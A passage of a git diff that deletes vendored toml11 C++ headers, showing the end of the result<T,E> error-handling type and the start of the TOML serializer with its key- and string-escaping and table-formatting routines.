-        (void)tmp;
-        return *this;
-    }
-    template<typename U>
-    result& operator=(success<U>&& s)
-    {
-        this->cleanup();
-        this->is_ok_ = true;
-        auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s.value));
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-        return *this;
-    }
-    template<typename U>
-    result& operator=(failure<U>&& f)
-    {
-        this->cleanup();
-        this->is_ok_ = false;
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f.value));
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-        return *this;
-    }
-
-    ~result() noexcept {this->cleanup();}
-
-    result(const result& other): is_ok_(other.is_ok())
-    {
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok());
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err());
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-    }
-    result(result&& other): is_ok_(other.is_ok())
-    {
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok()));
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err()));
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-    }
-
-    template<typename U, typename F>
-    result(const result<U, F>& other): is_ok_(other.is_ok())
-    {
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok());
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err());
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-    }
-    template<typename U, typename F>
-    result(result<U, F>&& other): is_ok_(other.is_ok())
-    {
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok()));
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err()));
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-    }
-
-    result& operator=(const result& other)
-    {
-        this->cleanup();
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok());
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err());
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-        is_ok_ = other.is_ok();
-        return *this;
-    }
-    result& operator=(result&& other)
-    {
-        this->cleanup();
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok()));
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err()));
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-        is_ok_ = other.is_ok();
-        return *this;
-    }
-
-    template<typename U, typename F>
-    result& operator=(const result<U, F>& other)
-    {
-        this->cleanup();
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok());
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err());
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-        is_ok_ = other.is_ok();
-        return *this;
-    }
-    template<typename U, typename F>
-    result& operator=(result<U, F>&& other)
-    {
-        this->cleanup();
-        if(other.is_ok())
-        {
-            auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok()));
-            assert(tmp == std::addressof(this->succ));
-            (void)tmp;
-        }
-        else
-        {
-            auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err()));
-            assert(tmp == std::addressof(this->fail));
-            (void)tmp;
-        }
-        is_ok_ = other.is_ok();
-        return *this;
-    }
-
-    bool is_ok()  const noexcept {return is_ok_;}
-    bool is_err() const noexcept {return !is_ok_;}
-
-    operator bool() const noexcept {return is_ok_;}
-
-    value_type&       unwrap() &
-    {
-        if(is_err())
-        {
-            throw std::runtime_error("toml::result: bad unwrap: " +
-                                     format_error(this->as_err()));
-        }
-        return this->succ.value;
-    }
-    value_type const& unwrap() const&
-    {
-        if(is_err())
-        {
-            throw std::runtime_error("toml::result: bad unwrap: " +
-                                     format_error(this->as_err()));
-        }
-        return this->succ.value;
-    }
-    value_type&&      unwrap() &&
-    {
-        if(is_err())
-        {
-            throw std::runtime_error("toml::result: bad unwrap: " +
-                                     format_error(this->as_err()));
-        }
-        return std::move(this->succ.value);
-    }
-
-    value_type&       unwrap_or(value_type& opt) &
-    {
-        if(is_err()) {return opt;}
-        return this->succ.value;
-    }
-    value_type const& unwrap_or(value_type const& opt) const&
-    {
-        if(is_err()) {return opt;}
-        return this->succ.value;
-    }
-    value_type        unwrap_or(value_type opt) &&
-    {
-        if(is_err()) {return opt;}
-        return this->succ.value;
-    }
-
-    error_type&       unwrap_err() &
-    {
-        if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");}
-        return this->fail.value;
-    }
-    error_type const& unwrap_err() const&
-    {
-        if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");}
-        return this->fail.value;
-    }
-    error_type&&      unwrap_err() &&
-    {
-        if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");}
-        return std::move(this->fail.value);
-    }
-
-    value_type&       as_ok() &      noexcept {return this->succ.value;}
-    value_type const& as_ok() const& noexcept {return this->succ.value;}
-    value_type&&      as_ok() &&     noexcept {return std::move(this->succ.value);}
-
-    error_type&       as_err() &      noexcept {return this->fail.value;}
-    error_type const& as_err() const& noexcept {return this->fail.value;}
-    error_type&&      as_err() &&     noexcept {return std::move(this->fail.value);}
-
-
-    // prerequisities
-    // F: T -> U
-    // retval: result<U, E>
-    template<typename F>
-    result<detail::return_type_of_t<F, value_type&>, error_type>
-    map(F&& f) &
-    {
-        if(this->is_ok()){return ok(f(this->as_ok()));}
-        return err(this->as_err());
-    }
-    template<typename F>
-    result<detail::return_type_of_t<F, value_type const&>, error_type>
-    map(F&& f) const&
-    {
-        if(this->is_ok()){return ok(f(this->as_ok()));}
-        return err(this->as_err());
-    }
-    template<typename F>
-    result<detail::return_type_of_t<F, value_type &&>, error_type>
-    map(F&& f) &&
-    {
-        if(this->is_ok()){return ok(f(std::move(this->as_ok())));}
-        return err(std::move(this->as_err()));
-    }
-
-    // prerequisities
-    // F: E -> F
-    // retval: result<T, F>
-    template<typename F>
-    result<value_type, detail::return_type_of_t<F, error_type&>>
-    map_err(F&& f) &
-    {
-        if(this->is_err()){return err(f(this->as_err()));}
-        return ok(this->as_ok());
-    }
-    template<typename F>
-    result<value_type, detail::return_type_of_t<F, error_type const&>>
-    map_err(F&& f) const&
-    {
-        if(this->is_err()){return err(f(this->as_err()));}
-        return ok(this->as_ok());
-    }
-    template<typename F>
-    result<value_type, detail::return_type_of_t<F, error_type&&>>
-    map_err(F&& f) &&
-    {
-        if(this->is_err()){return err(f(std::move(this->as_err())));}
-        return ok(std::move(this->as_ok()));
-    }
-
-    // prerequisities
-    // F: T -> U
-    // retval: U
-    template<typename F, typename U>
-    detail::return_type_of_t<F, value_type&>
-    map_or_else(F&& f, U&& opt) &
-    {
-        if(this->is_err()){return std::forward<U>(opt);}
-        return f(this->as_ok());
-    }
-    template<typename F, typename U>
-    detail::return_type_of_t<F, value_type const&>
-    map_or_else(F&& f, U&& opt) const&
-    {
-        if(this->is_err()){return std::forward<U>(opt);}
-        return f(this->as_ok());
-    }
-    template<typename F, typename U>
-    detail::return_type_of_t<F, value_type&&>
-    map_or_else(F&& f, U&& opt) &&
-    {
-        if(this->is_err()){return std::forward<U>(opt);}
-        return f(std::move(this->as_ok()));
-    }
-
-    // prerequisities
-    // F: E -> U
-    // retval: U
-    template<typename F, typename U>
-    detail::return_type_of_t<F, error_type&>
-    map_err_or_else(F&& f, U&& opt) &
-    {
-        if(this->is_ok()){return std::forward<U>(opt);}
-        return f(this->as_err());
-    }
-    template<typename F, typename U>
-    detail::return_type_of_t<F, error_type const&>
-    map_err_or_else(F&& f, U&& opt) const&
-    {
-        if(this->is_ok()){return std::forward<U>(opt);}
-        return f(this->as_err());
-    }
-    template<typename F, typename U>
-    detail::return_type_of_t<F, error_type&&>
-    map_err_or_else(F&& f, U&& opt) &&
-    {
-        if(this->is_ok()){return std::forward<U>(opt);}
-        return f(std::move(this->as_err()));
-    }
-
-    // prerequisities:
-    // F: func T -> U
-    // toml::err(error_type) should be convertible to U.
-    // normally, type U is another result<S, F> and E is convertible to F
-    template<typename F>
-    detail::return_type_of_t<F, value_type&>
-    and_then(F&& f) &
-    {
-        if(this->is_ok()){return f(this->as_ok());}
-        return err(this->as_err());
-    }
-    template<typename F>
-    detail::return_type_of_t<F, value_type const&>
-    and_then(F&& f) const&
-    {
-        if(this->is_ok()){return f(this->as_ok());}
-        return err(this->as_err());
-    }
-    template<typename F>
-    detail::return_type_of_t<F, value_type&&>
-    and_then(F&& f) &&
-    {
-        if(this->is_ok()){return f(std::move(this->as_ok()));}
-        return err(std::move(this->as_err()));
-    }
-
-    // prerequisities:
-    // F: func E -> U
-    // toml::ok(value_type) should be convertible to U.
-    // normally, type U is another result<S, F> and T is convertible to S
-    template<typename F>
-    detail::return_type_of_t<F, error_type&>
-    or_else(F&& f) &
-    {
-        if(this->is_err()){return f(this->as_err());}
-        return ok(this->as_ok());
-    }
-    template<typename F>
-    detail::return_type_of_t<F, error_type const&>
-    or_else(F&& f) const&
-    {
-        if(this->is_err()){return f(this->as_err());}
-        return ok(this->as_ok());
-    }
-    template<typename F>
-    detail::return_type_of_t<F, error_type&&>
-    or_else(F&& f) &&
-    {
-        if(this->is_err()){return f(std::move(this->as_err()));}
-        return ok(std::move(this->as_ok()));
-    }
-
-    // if *this is error, returns *this. otherwise, returns other.
-    result and_other(const result& other) const&
-    {
-        return this->is_err() ? *this : other;
-    }
-    result and_other(result&& other) &&
-    {
-        return this->is_err() ? std::move(*this) : std::move(other);
-    }
-
-    // if *this is okay, returns *this. otherwise, returns other.
-    result or_other(const result& other) const&
-    {
-        return this->is_ok() ? *this : other;
-    }
-    result or_other(result&& other) &&
-    {
-        return this->is_ok() ? std::move(*this) : std::move(other);
-    }
-
-    void swap(result<T, E>& other)
-    {
-        result<T, E> tmp(std::move(*this));
-        *this = std::move(other);
-        other = std::move(tmp);
-        return ;
-    }
-
-  private:
-
-    static std::string format_error(std::exception const& excpt)
-    {
-        return std::string(excpt.what());
-    }
-    template<typename U, typename std::enable_if<!std::is_base_of<
-        std::exception, U>::value, std::nullptr_t>::type = nullptr>
-    static std::string format_error(U const& others)
-    {
-        std::ostringstream oss; oss << others;
-        return oss.str();
-    }
-
-    void cleanup() noexcept
-    {
-        if(this->is_ok_) {this->succ.~success_type();}
-        else             {this->fail.~failure_type();}
-        return;
-    }
-
-  private:
-
-    bool      is_ok_;
-    union
-    {
-        success_type succ;
-        failure_type fail;
-    };
-};
-
-template<typename T, typename E>
-void swap(result<T, E>& lhs, result<T, E>& rhs)
-{
-    lhs.swap(rhs);
-    return;
-}
-
-// this might be confusing because it eagerly evaluated, while in the other
-// cases operator && and || are short-circuited.
-//
-// template<typename T, typename E>
-// inline result<T, E>
-// operator&&(const result<T, E>& lhs, const result<T, E>& rhs) noexcept
-// {
-//     return lhs.is_ok() ? rhs : lhs;
-// }
-//
-// template<typename T, typename E>
-// inline result<T, E>
-// operator||(const result<T, E>& lhs, const result<T, E>& rhs) noexcept
-// {
-//     return lhs.is_ok() ? lhs : rhs;
-// }
-
-// ----------------------------------------------------------------------------
-// re-use result<T, E> as a optional<T> with none_t
-
-namespace detail
-{
-struct none_t {};
-inline bool operator==(const none_t&, const none_t&) noexcept {return true;}
-inline bool operator!=(const none_t&, const none_t&) noexcept {return false;}
-inline bool operator< (const none_t&, const none_t&) noexcept {return false;}
-inline bool operator<=(const none_t&, const none_t&) noexcept {return true;}
-inline bool operator> (const none_t&, const none_t&) noexcept {return false;}
-inline bool operator>=(const none_t&, const none_t&) noexcept {return true;}
-template<typename charT, typename traitsT>
-std::basic_ostream<charT, traitsT>&
-operator<<(std::basic_ostream<charT, traitsT>& os, const none_t&)
-{
-    os << "none";
-    return os;
-}
-inline failure<none_t> none() noexcept {return failure<none_t>{none_t{}};}
-} // detail
-} // toml11
-#endif// TOML11_RESULT_H
diff --git a/src/toml11/toml/serializer.hpp b/src/toml11/toml/serializer.hpp
deleted file mode 100644
index 88ae775a83d..00000000000
--- a/src/toml11/toml/serializer.hpp
+++ /dev/null
@@ -1,922 +0,0 @@
-//     Copyright Toru Niina 2019.
-// Distributed under the MIT License.
-#ifndef TOML11_SERIALIZER_HPP
-#define TOML11_SERIALIZER_HPP
-#include <cmath>
-#include <cstdio>
-
-#include <limits>
-
-#include "lexer.hpp"
-#include "value.hpp"
-
-namespace toml
-{
-
-// This function serialize a key. It checks a string is a bare key and
-// escapes special characters if the string is not compatible to a bare key.
-// ```cpp
-// std::string k("non.bare.key"); // the key itself includes `.`s.
-// std::string formatted = toml::format_key(k);
-// assert(formatted == "\"non.bare.key\"");
-// ```
-//
-// This function is exposed to make it easy to write a user-defined serializer.
-// Since toml restricts characters available in a bare key, generally a string
-// should be escaped. But checking whether a string needs to be surrounded by
-// a `"` and escaping some special character is boring.
-template<typename charT, typename traits, typename Alloc>
-std::basic_string<charT, traits, Alloc>
-format_key(const std::basic_string<charT, traits, Alloc>& k)
-{
-    if(k.empty())
-    {
-        return std::string("\"\"");
-    }
-
-    // check the key can be a bare (unquoted) key
-    detail::location loc(k, std::vector<char>(k.begin(), k.end()));
-    detail::lex_unquoted_key::invoke(loc);
-    if(loc.iter() == loc.end())
-    {
-        return k; // all the tokens are consumed. the key is unquoted-key.
-    }
-
-    //if it includes special characters, then format it in a "quoted" key.
-    std::basic_string<charT, traits, Alloc> serialized("\"");
-    for(const char c : k)
-    {
-        switch(c)
-        {
-            case '\\': {serialized += "\\\\"; break;}
-            case '\"': {serialized += "\\\""; break;}
-            case '\b': {serialized += "\\b";  break;}
-            case '\t': {serialized += "\\t";  break;}
-            case '\f': {serialized += "\\f";  break;}
-            case '\n': {serialized += "\\n";  break;}
-            case '\r': {serialized += "\\r";  break;}
-            default  : {serialized += c;      break;}
-        }
-    }
-    serialized += "\"";
-    return serialized;
-}
-
-template<typename charT, typename traits, typename Alloc>
-std::basic_string<charT, traits, Alloc>
-format_keys(const std::vector<std::basic_string<charT, traits, Alloc>>& keys)
-{
-    if(keys.empty())
-    {
-        return std::string("\"\"");
-    }
-
-    std::basic_string<charT, traits, Alloc> serialized;
-    for(const auto& ky : keys)
-    {
-        serialized += format_key(ky);
-        serialized += charT('.');
-    }
-    serialized.pop_back(); // remove the last dot '.'
-    return serialized;
-}
-
-template<typename Value>
-struct serializer
-{
-    static_assert(detail::is_basic_value<Value>::value,
-                  "toml::serializer is for toml::value and its variants, "
-                  "toml::basic_value<...>.");
-
-    using value_type           = Value;
-    using key_type             = typename value_type::key_type            ;
-    using comment_type         = typename value_type::comment_type        ;
-    using boolean_type         = typename value_type::boolean_type        ;
-    using integer_type         = typename value_type::integer_type        ;
-    using floating_type        = typename value_type::floating_type       ;
-    using string_type          = typename value_type::string_type         ;
-    using local_time_type      = typename value_type::local_time_type     ;
-    using local_date_type      = typename value_type::local_date_type     ;
-    using local_datetime_type  = typename value_type::local_datetime_type ;
-    using offset_datetime_type = typename value_type::offset_datetime_type;
-    using array_type           = typename value_type::array_type          ;
-    using table_type           = typename value_type::table_type          ;
-
-    serializer(const std::size_t w              = 80u,
-               const int         float_prec     = std::numeric_limits<toml::floating>::max_digits10,
-               const bool        can_be_inlined = false,
-               const bool        no_comment     = false,
-               std::vector<toml::key> ks        = {},
-               const bool     value_has_comment = false)
-        : can_be_inlined_(can_be_inlined), no_comment_(no_comment),
-          value_has_comment_(value_has_comment && !no_comment),
-          float_prec_(float_prec), width_(w), keys_(std::move(ks))
-    {}
-    ~serializer() = default;
-
-    std::string operator()(const boolean_type& b) const
-    {
-        return b ? "true" : "false";
-    }
-    std::string operator()(const integer_type i) const
-    {
-        return std::to_string(i);
-    }
-    std::string operator()(const floating_type f) const
-    {
-        if(std::isnan(f))
-        {
-            if(std::signbit(f))
-            {
-                return std::string("-nan");
-            }
-            else
-            {
-                return std::string("nan");
-            }
-        }
-        else if(!std::isfinite(f))
-        {
-            if(std::signbit(f))
-            {
-                return std::string("-inf");
-            }
-            else
-            {
-                return std::string("inf");
-            }
-        }
-
-        const auto fmt = "%.*g";
-        const auto bsz = std::snprintf(nullptr, 0, fmt, this->float_prec_, f);
-        // +1 for null character(\0)
-        std::vector<char> buf(static_cast<std::size_t>(bsz + 1), '\0');
-        std::snprintf(buf.data(), buf.size(), fmt, this->float_prec_, f);
-
-        std::string token(buf.begin(), std::prev(buf.end()));
-        if(!token.empty() && token.back() == '.') // 1. => 1.0
-        {
-            token += '0';
-        }
-
-        const auto e = std::find_if(
-            token.cbegin(), token.cend(), [](const char c) noexcept -> bool {
-                return c == 'e' || c == 'E';
-            });
-        const auto has_exponent = (token.cend() != e);
-        const auto has_fraction = (token.cend() != std::find(
-            token.cbegin(), token.cend(), '.'));
-
-        if(!has_exponent && !has_fraction)
-        {
-            // the resulting value does not have any float specific part!
-            token += ".0";
-        }
-        return token;
-    }
-    std::string operator()(const string_type& s) const
-    {
-        if(s.kind == string_t::basic)
-        {
-            if((std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() ||
-                std::find(s.str.cbegin(), s.str.cend(), '\"') != s.str.cend()) &&
-               this->width_ != (std::numeric_limits<std::size_t>::max)())
-            {
-                // if linefeed or double-quote is contained,
-                // make it multiline basic string.
-                const auto escaped = this->escape_ml_basic_string(s.str);
-                std::string open("\"\"\"");
-                std::string close("\"\"\"");
-                if(escaped.find('\n') != std::string::npos ||
-                   this->width_ < escaped.size() + 6)
-                {
-                    // if the string body contains newline or is enough long,
-                    // add newlines after and before delimiters.
-                    open += "\n";
-                    close = std::string("\\\n") + close;
-                }
-                return open + escaped + close;
-            }
-
-            // no linefeed. try to make it oneline-string.
-            std::string oneline = this->escape_basic_string(s.str);
-            if(oneline.size() + 2 < width_ || width_ < 2)
-            {
-                const std::string quote("\"");
-                return quote + oneline + quote;
-            }
-
-            // the line is too long compared to the specified width.
-            // split it into multiple lines.
-            std::string token("\"\"\"\n");
-            while(!oneline.empty())
-            {
-                if(oneline.size() < width_)
-                {
-                    token += oneline;
-                    oneline.clear();
-                }
-                else if(oneline.at(width_-2) == '\\')
-                {
-                    token += oneline.substr(0, width_-2);
-                    token += "\\\n";
-                    oneline.erase(0, width_-2);
-                }
-                else
-                {
-                    token += oneline.substr(0, width_-1);
-                    token += "\\\n";
-                    oneline.erase(0, width_-1);
-                }
-            }
-            return token + std::string("\\\n\"\"\"");
-        }
-        else // the string `s` is literal-string.
-        {
-            if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() ||
-               std::find(s.str.cbegin(), s.str.cend(), '\'') != s.str.cend() )
-            {
-                std::string open("'''");
-                if(this->width_ + 6 < s.str.size())
-                {
-                    open += '\n'; // the first newline is ignored by TOML spec
-                }
-                const std::string close("'''");
-                return open + s.str + close;
-            }
-            else
-            {
-                const std::string quote("'");
-                return quote + s.str + quote;
-            }
-        }
-    }
-
-    std::string operator()(const local_date_type& d) const
-    {
-        std::ostringstream oss;
-        oss << d;
-        return oss.str();
-    }
-    std::string operator()(const local_time_type& t) const
-    {
-        std::ostringstream oss;
-        oss << t;
-        return oss.str();
-    }
-    std::string operator()(const local_datetime_type& dt) const
-    {
-        std::ostringstream oss;
-        oss << dt;
-        return oss.str();
-    }
-    std::string operator()(const offset_datetime_type& odt) const
-    {
-        std::ostringstream oss;
-        oss << odt;
-        return oss.str();
-    }
-
-    std::string operator()(const array_type& v) const
-    {
-        if(v.empty())
-        {
-            return std::string("[]");
-        }
-        if(this->is_array_of_tables(v))
-        {
-            return make_array_of_tables(v);
-        }
-
-        // not an array of tables. normal array.
-        // first, try to make it inline if none of the elements have a comment.
-        if( ! this->has_comment_inside(v))
-        {
-            const auto inl = this->make_inline_array(v);
-            if(inl.size() < this->width_ &&
-               std::find(inl.cbegin(), inl.cend(), '\n') == inl.cend())
-            {
-                return inl;
-            }
-        }
-
-        // if the length exceeds this->width_, print multiline array.
-        // key = [
-        //   # ...
-        //   42,
-        //   ...
-        // ]
-        std::string token;
-        std::string current_line;
-        token += "[\n";
-        for(const auto& item : v)
-        {
-            if( ! item.comments().empty() && !no_comment_)
-            {
-                // if comment exists, the element must be the only element in the line.
-                // e.g. the following is not allowed.
-                // ```toml
-                // array = [
-                // # comment for what?
-                // 1, 2, 3, 4, 5
-                // ]
-                // ```
-                if(!current_line.empty())
-                {
-                    if(current_line.back() != '\n')
-                    {
-                        current_line += '\n';
-                    }
-                    token += current_line;
-                    current_line.clear();
-                }
-                for(const auto& c : item.comments())
-                {
-                    token += '#';
-                    token += c;
-                    token += '\n';
-                }
-                token += toml::visit(*this, item);
-                if(!token.empty() && token.back() == '\n') {token.pop_back();}
-                token += ",\n";
-                continue;
-            }
-            std::string next_elem;
-            if(item.is_table())
-            {
-                serializer ser(*this);
-                ser.can_be_inlined_ = true;
-                ser.width_ = (std::numeric_limits<std::size_t>::max)();
-                next_elem += toml::visit(ser, item);
-            }
-            else
-            {
-                next_elem += toml::visit(*this, item);
-            }
-
-            // comma before newline.
-            if(!next_elem.empty() && next_elem.back() == '\n') {next_elem.pop_back();}
-
-            // if current line does not exceeds the width limit, continue.
-            if(current_line.size() + next_elem.size() + 1 < this->width_)
-            {
-                current_line += next_elem;
-                current_line += ',';
-            }
-            else if(current_line.empty())
-            {
-                // if current line was empty, force put the next_elem because
-                // next_elem is not splittable
-                token += next_elem;
-                token += ",\n";
-                // current_line is kept empty
-            }
-            else // reset current_line
-            {
-                assert(current_line.back() == ',');
-                token += current_line;
-                token += '\n';
-                current_line = next_elem;
-                current_line += ',';
-            }
-        }
-        if(!current_line.empty())
-        {
-            if(!current_line.empty() && current_line.back() != '\n')
-            {
-                current_line += '\n';
-            }
-            token += current_line;
-        }
-        token += "]\n";
-        return token;
-    }
-
-    // templatize for any table-like container
-    std::string operator()(const table_type& v) const
-    {
-        // if an element has a comment, then it can't be inlined.
-        // table = {# how can we write a comment for this? key = "value"}
-        if(this->can_be_inlined_ && !(this->has_comment_inside(v)))
-        {
-            std::string token;
-            if(!this->keys_.empty())
-            {
-                token += format_key(this->keys_.back());
-                token += " = ";
-            }
-            token += this->make_inline_table(v);
-            if(token.size() < this->width_ &&
-               token.end() == std::find(token.begin(), token.end(), '\n'))
-            {
-                return token;
-            }
-        }
-
-        std::string token;
-        if(!keys_.empty())
-        {
-            token += '[';
-            token += format_keys(keys_);
-            token += "]\n";
-        }
-        token += this->make_multiline_table(v);
-        return token;
-    }
-
-  private:
-
-    std::string escape_basic_string(const std::string& s) const
-    {
-        //XXX assuming `s` is a valid utf-8 sequence.
-        std::string retval;
-        for(const char c : s)
-        {
-            switch(c)
-            {
-                case '\\': {retval += "\\\\"; break;}
-                case '\"': {retval += "\\\""; break;}
-                case '\b': {retval += "\\b";  break;}
-                case '\t': {retval += "\\t";  break;}
-                case '\f': {retval += "\\f";  break;}
-                case '\n': {retval += "\\n";  break;}
-                case '\r': {retval += "\\r";  break;}
-                default  :
-                {
-                    if((0x00 <= c && c <= 0x08) || (0x0A <= c && c <= 0x1F) || c == 0x7F)
-                    {
-                        retval += "\\u00";
-                        retval += char(48 + (c / 16));
-                        retval += char((c % 16 < 10 ? 48 : 55) + (c % 16));
-                    }
-                    else
-                    {
-                        retval += c;
-                    }
-                }
-            }
-        }
-        return retval;
-    }
-
-    std::string escape_ml_basic_string(const std::string& s) const
-    {
-        std::string retval;
-        for(auto i=s.cbegin(), e=s.cend(); i!=e; ++i)
-        {
-            switch(*i)
-            {
-                case '\\': {retval += "\\\\"; break;}
-                // One or two consecutive "s are allowed.
-                // Later we will check there are no three consecutive "s.
-                //   case '\"': {retval += "\\\""; break;}
-                case '\b': {retval += "\\b";  break;}
-                case '\t': {retval += "\\t";  break;}
-                case '\f': {retval += "\\f";  break;}
-                case '\n': {retval += "\n";   break;}
-                case '\r':
-                {
-                    if(std::next(i) != e && *std::next(i) == '\n')
-                    {
-                        retval += "\r\n";
-                        ++i;
-                    }
-                    else
-                    {
-                        retval += "\\r";
-                    }
-                    break;
-                }
-                default  :
-                {
-                    const auto c = *i;
-                    if((0x00 <= c && c <= 0x08) || (0x0A <= c && c <= 0x1F) || c == 0x7F)
-                    {
-                        retval += "\\u00";
-                        retval += char(48 + (c / 16));
-                        retval += char((c % 16 < 10 ? 48 : 55) + (c % 16));
-                    }
-                    else
-                    {
-                        retval += c;
-                    }
-                }
-
-            }
-        }
-        // Only 1 or 2 consecutive `"`s are allowed in multiline basic string.
-        // 3 consecutive `"`s are considered as a closing delimiter.
-        // We need to check if there are 3 or more consecutive `"`s and insert
-        // backslash to break them down into several short `"`s like the `str6`
-        // in the following example.
-        // ```toml
-        // str4 = """Here are two quotation marks: "". Simple enough."""
-        // # str5 = """Here are three quotation marks: """."""  # INVALID
-        // str5 = """Here are three quotation marks: ""\"."""
-        // str6 = """Here are fifteen quotation marks: ""\"""\"""\"""\"""\"."""
-        // ```
-        auto found_3_quotes = retval.find("\"\"\"");
-        while(found_3_quotes != std::string::npos)
-        {
-            retval.replace(found_3_quotes, 3, "\"\"\\\"");
-            found_3_quotes = retval.find("\"\"\"");
-        }
-        return retval;
-    }
-
-    // if an element of a table or an array has a comment, it cannot be inlined.
-    bool has_comment_inside(const array_type& a) const noexcept
-    {
-        // if no_comment is set, comments would not be written.
-        if(this->no_comment_) {return false;}
-
-        for(const auto& v : a)
-        {
-            if(!v.comments().empty()) {return true;}
-        }
-        return false;
-    }
-    bool has_comment_inside(const table_type& t) const noexcept
-    {
-        // if no_comment is set, comments would not be written.
-        if(this->no_comment_) {return false;}
-
-        for(const auto& kv : t)
-        {
-            if(!kv.second.comments().empty()) {return true;}
-        }
-        return false;
-    }
-
-    std::string make_inline_array(const array_type& v) const
-    {
-        assert(!has_comment_inside(v));
-        std::string token;
-        token += '[';
-        bool is_first = true;
-        for(const auto& item : v)
-        {
-            if(is_first) {is_first = false;} else {token += ',';}
-            token += visit(serializer(
-                (std::numeric_limits<std::size_t>::max)(), this->float_prec_,
-                /* inlined */ true, /*no comment*/ false, /*keys*/ {},
-                /*has_comment*/ !item.comments().empty()), item);
-        }
-        token += ']';
-        return token;
-    }
-
-    std::string make_inline_table(const table_type& v) const
-    {
-        assert(!has_comment_inside(v));
-        assert(this->can_be_inlined_);
-        std::string token;
-        token += '{';
-        bool is_first = true;
-        for(const auto& kv : v)
-        {
-            // in inline tables, trailing comma is not allowed (toml-lang #569).
-            if(is_first) {is_first = false;} else {token += ',';}
-            token += format_key(kv.first);
-            token += '=';
-            token += visit(serializer(
-                (std::numeric_limits<std::size_t>::max)(), this->float_prec_,
-                /* inlined */ true, /*no comment*/ false, /*keys*/ {},
-                /*has_comment*/ !kv.second.comments().empty()), kv.second);
-        }
-        token += '}';
-        return token;
-    }
-
-    std::string make_multiline_table(const table_type& v) const
-    {
-        std::string token;
-
-        // print non-table elements first.
-        // ```toml
-        // [foo]         # a table we're writing now here
-        // key = "value" # <- non-table element, "key"
-        // # ...
-        // [foo.bar] # <- table element, "bar"
-        // ```
-        // because after printing [foo.bar], the remaining non-table values will
-        // be assigned into [foo.bar], not [foo]. Those values should be printed
-        // earlier.
-        for(const auto& kv : v)
-        {
-            if(kv.second.is_table() || is_array_of_tables(kv.second))
-            {
-                continue;
-            }
-
-            token += write_comments(kv.second);
-
-            const auto key_and_sep    = format_key(kv.first) + " = ";
-            const auto residual_width = (this->width_ > key_and_sep.size()) ?
-                                        this->width_ - key_and_sep.size() : 0;
-            token += key_and_sep;
-            token += visit(serializer(residual_width, this->float_prec_,
-                /*can be inlined*/ true, /*no comment*/ false, /*keys*/ {},
-                /*has_comment*/ !kv.second.comments().empty()), kv.second);
-
-            if(token.back() != '\n')
-            {
-                token += '\n';
-            }
-        }
-
-        // normal tables / array of tables
-
-        // after multiline table appeared, the other tables cannot be inline
-        // because the table would be assigned into the table.
-        // [foo]
-        // ...
-        // bar = {...} # <- bar will be a member of [foo].
-        bool multiline_table_printed = false;
-        for(const auto& kv : v)
-        {
-            if(!kv.second.is_table() && !is_array_of_tables(kv.second))
-            {
-                continue; // other stuff are already serialized. skip them.
-            }
-
-            std::vector<toml::key> ks(this->keys_);
-            ks.push_back(kv.first);
-
-            auto tmp = visit(serializer(this->width_, this->float_prec_,
-                !multiline_table_printed, this->no_comment_, ks,
-                /*has_comment*/ !kv.second.comments().empty()), kv.second);
-
-            // If it is the first time to print a multi-line table, it would be
-            // helpful to separate normal key-value pair and subtables by a
-            // newline.
-            // (this checks if the current key-value pair contains newlines.
-            //  but it is not perfect because multi-line string can also contain
-            //  a newline. in such a case, an empty line will be written) TODO
-            if((!multiline_table_printed) &&
-               std::find(tmp.cbegin(), tmp.cend(), '\n') != tmp.cend())
-            {
-                multiline_table_printed = true;
-                token += '\n'; // separate key-value pairs and subtables
-
-                token += write_comments(kv.second);
-                token += tmp;
-
-                // care about recursive tables (all tables in each level prints
-                // newline and there will be a full of newlines)
-                if(tmp.substr(tmp.size() - 2, 2) != "\n\n" &&
